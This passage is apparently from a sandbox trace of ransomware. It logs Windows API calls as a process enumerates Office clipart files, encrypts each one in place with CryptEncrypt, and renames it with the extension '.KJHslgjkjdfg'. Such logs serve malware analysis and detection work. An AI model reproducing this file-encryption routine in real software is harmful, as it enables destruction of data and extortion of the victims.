ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78be2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00476_.WMF", cAlternateFileName="")) returned 1 [0190.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.017] GetProcessHeap () returned 0x2a0000 [0190.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.017] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.017] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.017] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.017] GetProcessHeap () returned 0x2a0000 [0190.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.017] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.017] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.017] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.020] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.020] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.020] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.021] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.021] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfc0, lpOverlapped=0x0) returned 1 [0190.021] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfc0) returned 1 [0190.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.021] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xfc0, lpOverlapped=0x0) returned 1 [0190.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.021] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.021] SetEndOfFile (hFile=0x114) returned 1 [0190.024] GetProcessHeap () returned 0x2a0000 [0190.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.024] GetProcessHeap () returned 0x2a0000 [0190.024] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00476_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00476_.wmf.kjhslgjkjdfg")) returned 1 [0190.026] CloseHandle (hObject=0x114) returned 1 [0190.026] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3ef600, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c3ef600, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00479_.WMF", cAlternateFileName="")) returned 1 [0190.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.027] GetProcessHeap () returned 0x2a0000 [0190.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.027] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.029] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.029] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.029] GetProcessHeap () returned 0x2a0000 [0190.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.029] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.029] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.030] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.030] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.030] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.030] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.030] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.030] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.030] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.030] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b08, lpOverlapped=0x0) returned 1 [0190.031] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b10, dwBufLen=0x5b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b10) returned 1 [0190.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.032] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b10, lpOverlapped=0x0) returned 1 [0190.032] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.032] SetEndOfFile (hFile=0x114) returned 1 [0190.035] GetProcessHeap () returned 0x2a0000 [0190.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.035] GetProcessHeap () returned 0x2a0000 [0190.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00479_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00479_.wmf.kjhslgjkjdfg")) returned 1 [0190.037] CloseHandle (hObject=0x114) returned 1 [0190.037] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778cf500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x778cf500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00483_.WMF", cAlternateFileName="")) returned 1 [0190.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.038] GetProcessHeap () returned 0x2a0000 [0190.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.038] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.039] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.039] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.041] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.041] GetProcessHeap () returned 0x2a0000 [0190.041] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.041] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.041] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.041] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.041] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.041] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.042] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.042] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.042] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2bb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2bb8, lpOverlapped=0x0) returned 1 [0190.042] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bc0) returned 1 [0190.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.043] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2bc0, lpOverlapped=0x0) returned 1 [0190.043] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.043] SetEndOfFile (hFile=0x114) returned 1 [0190.046] GetProcessHeap () returned 0x2a0000 [0190.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.046] GetProcessHeap () returned 0x2a0000 [0190.046] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00483_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00483_.wmf.kjhslgjkjdfg")) returned 1 [0190.048] CloseHandle (hObject=0x114) returned 1 [0190.048] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad09800, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ad09800, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00486_.WMF", cAlternateFileName="")) returned 1 [0190.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.050] GetProcessHeap () returned 0x2a0000 [0190.050] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.050] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.050] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.050] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.053] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.053] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.053] GetProcessHeap () returned 0x2a0000 [0190.053] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.053] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.053] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.053] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.053] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.053] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.053] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.053] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.054] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.054] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.054] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.054] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e58, lpOverlapped=0x0) returned 1 [0190.055] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60) returned 1 [0190.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.055] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e60, lpOverlapped=0x0) returned 1 [0190.055] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.055] SetEndOfFile (hFile=0x114) returned 1 [0190.058] GetProcessHeap () returned 0x2a0000 [0190.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.058] GetProcessHeap () returned 0x2a0000 [0190.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00486_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00486_.wmf.kjhslgjkjdfg")) returned 1 [0190.060] CloseHandle (hObject=0x114) returned 1 [0190.060] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c3a800, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4c3a800, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0xaa4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00505_.WMF", cAlternateFileName="")) returned 1 [0190.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00505_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00505_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.061] GetProcessHeap () returned 0x2a0000 [0190.061] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.061] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.062] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.064] CryptSetKeyParam 